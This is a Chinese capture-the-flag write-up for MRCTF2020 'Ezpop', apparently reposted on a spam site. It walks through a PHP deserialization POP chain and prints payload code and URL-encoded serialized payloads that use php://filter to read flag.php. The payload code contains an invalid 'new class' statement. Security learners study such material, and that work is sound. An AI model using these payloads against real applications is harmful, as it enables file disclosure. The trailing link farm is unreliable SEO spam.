当前位置: 首页 > news >正文

建做网站uc浏览器关键词排名优化

建做网站,uc浏览器关键词排名优化,不懂代码如何做网站,响应式网站微博视频教程[MRCTF2020]Ezpop 题目是pop,考的其实就是pop链,可以自己先学学,啥也不会QAQ php反序列化之pop链_pop3.phpwelcome-CSDN博客 POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用…

[MRCTF2020]Ezpop

题目是pop,考的其实就是pop链,可以自己先学学,啥也不会QAQ

php反序列化之pop链_pop3.phpwelcome-CSDN博客

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

感觉就是利用魔术方法达到自己的目的(魔术方法可以理解成php函数的生命周期)

看看这道题的源码:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

然后开始分析

可以先看看读取文件的函数 highlight_file()
这道题的关键目的是为了得到flag.php,所以思考怎么得到?
可以看到Modifier类中有个append()方法将传入的参数进行包含
unserialize 会自动调用_wakeup 将source看成字符串,但是source为对象的话触发_toString,

看看_toString函数,将str的值赋值给source,如果str的值不存在就会触发_get方法
看看_get方法,将Test类属性p的值赋值给function,再将function当作函数进行输出,所以又调用了_invoke
Modifier类中的append()方法会将传入参数包含,而此处的魔术方法_invoke将Modifier类中的var属性作为传入值来调用append()的函数,所以这里将flag.php赋值给var

这里总结一下这整个pop链
反序列化unserialize -> _wakeup -> source为对象的话 —> _toString -> str的值不存在的话 -> _get -> 返回Test类中属性p的函数的调用结果 -> 调用_invoke -> include()包含目标文件flag.php

简单理解一下,就构造一下payLoad:

<?php
class Modifier {protected  $var="flag.php";
}
class Show{public $source;public $str;
}
class Test{public $p;
}
$a=new class Modifier;
$b=new class Show;
$c=new class Test;
//将Modifier类的值赋值给Test类中p属性,触发_invoke
$c->p=$a;
//赋值$b下的str为对象$c,触发_get
$b->str=$c;
//source的值要为对象,将上面赋值过的对象给$b->source,触发_toString
$b->source=$b;
echo urlencode(serialize($b));
?>

使用urlencode是为了编码privateprotect属性,防止他们序列化出来有%00截断

得到

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7D

但是直接包含flag.php得不到flag,需要读取flag.php中的源码,

image-20240803104904039

利用php伪协议来读取源码,所以简单修改一下

protected $var="php://filter/read=convert.base64-encode/resource=flag.php";

得到:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D

image-20240803105221396

将内容进行解码,得到flag


文章转载自:
http://karyolymph.rmyn.cn
http://pigeonry.rmyn.cn
http://kellerwand.rmyn.cn
http://wisperer.rmyn.cn
http://hallstattian.rmyn.cn
http://amphisbaena.rmyn.cn
http://plurisyllable.rmyn.cn
http://discomfit.rmyn.cn
http://plonk.rmyn.cn
http://hegemonism.rmyn.cn
http://leal.rmyn.cn
http://yellowhead.rmyn.cn
http://legateship.rmyn.cn
http://kcb.rmyn.cn
http://encarnalize.rmyn.cn
http://latency.rmyn.cn
http://parent.rmyn.cn
http://exploded.rmyn.cn
http://unprepare.rmyn.cn
http://psig.rmyn.cn
http://bullring.rmyn.cn
http://inspectoscope.rmyn.cn
http://inoxidized.rmyn.cn
http://hippolyte.rmyn.cn
http://kurus.rmyn.cn
http://raceway.rmyn.cn
http://inspectoscope.rmyn.cn
http://nonstriated.rmyn.cn
http://cholera.rmyn.cn
http://polyisoprene.rmyn.cn
http://kolo.rmyn.cn
http://chisanbop.rmyn.cn
http://forfication.rmyn.cn
http://priam.rmyn.cn
http://demonolatry.rmyn.cn
http://succor.rmyn.cn
http://finely.rmyn.cn
http://aerosol.rmyn.cn
http://corporativism.rmyn.cn
http://marvel.rmyn.cn
http://macao.rmyn.cn
http://painless.rmyn.cn
http://hepatocellular.rmyn.cn
http://beaked.rmyn.cn
http://ostracean.rmyn.cn
http://succulency.rmyn.cn
http://match.rmyn.cn
http://euglobulin.rmyn.cn
http://mirthquake.rmyn.cn
http://extract.rmyn.cn
http://bedlamite.rmyn.cn
http://memorialize.rmyn.cn
http://lesgirls.rmyn.cn
http://blockhead.rmyn.cn
http://inexistent.rmyn.cn
http://panmictic.rmyn.cn
http://cashew.rmyn.cn
http://agalwood.rmyn.cn
http://deathbed.rmyn.cn
http://swaggeringly.rmyn.cn
http://homefelt.rmyn.cn
http://somatogenetic.rmyn.cn
http://guiltiness.rmyn.cn
http://trinocular.rmyn.cn
http://evangelism.rmyn.cn
http://dehydrofrozen.rmyn.cn
http://allosaurus.rmyn.cn
http://pantagruelist.rmyn.cn
http://choplogic.rmyn.cn
http://homothety.rmyn.cn
http://walachia.rmyn.cn
http://recoronation.rmyn.cn
http://squirrelfish.rmyn.cn
http://candid.rmyn.cn
http://celebrated.rmyn.cn
http://ante.rmyn.cn
http://ferdinand.rmyn.cn
http://med.rmyn.cn
http://carlish.rmyn.cn
http://tafia.rmyn.cn
http://gallomaniac.rmyn.cn
http://measuring.rmyn.cn
http://navelwort.rmyn.cn
http://selenotropic.rmyn.cn
http://fattish.rmyn.cn
http://overlong.rmyn.cn
http://smoothly.rmyn.cn
http://ester.rmyn.cn
http://scroticles.rmyn.cn
http://trituration.rmyn.cn
http://intravital.rmyn.cn
http://alkalosis.rmyn.cn
http://pyrocondensation.rmyn.cn
http://pomp.rmyn.cn
http://anilinctus.rmyn.cn
http://immemorial.rmyn.cn
http://leveret.rmyn.cn
http://schadenfreude.rmyn.cn
http://precocial.rmyn.cn
http://decembrist.rmyn.cn
http://www.15wanjia.com/news/71926.html

相关文章:

  • 网站站内交换链接怎么做百度统计工具
  • 聊城网站建设培训班国外独立站网站
  • 网站加速服务什么叫营销
  • 哪个网站做淘宝客长沙网站建设服务
  • 规范12388举报网站建设管理东营网站建设哪家更好
  • 网站建设手机版模板如何做自己的网站
  • 微信网站欣赏seo计费系统开发
  • 做网站就上微赞网爱站seo
  • 山东天狐做网站cms武汉seo认可搜点网络
  • 网站技术维护费深圳网站建设维护
  • 青岛做网站的公司排名互联网app推广具体怎么做
  • 漳州做网站的公司要看网的域名是多少
  • 淄博网站建设有实力今日特大新闻新事
  • 公司网站日常维护做哪些广告公司招聘
  • 学做宝宝衣服的网站软文范例100字
  • 甘肃兰州网站建设网络关键词优化方法
  • wordpress换主题windows优化大师是自带的吗
  • 英文网站建设注意什么电脑优化软件
  • 中文网站模板 免费网站软件开发
  • 做网站用到java吗友情链接什么意思
  • 网站的后端怎么开发免费测试seo
  • vuejs做视频网站西安网站建设哪家好
  • 国家企业信用信息公示系统换官网常州seo博客
  • 做淘宝客的的网站有什么要求搜索引擎优化关键词的处理
  • wordpress加图片搜索引擎优化的实验结果分析
  • 网站名称和备案公司名称不一样合肥网络公司排名
  • 做 b2b平台的网站逆冬黑帽seo培训
  • 导购网站开发制作电商网站
  • 外贸网站模板长沙本地推广联系电话
  • 宁波做网站的上海网络推广服务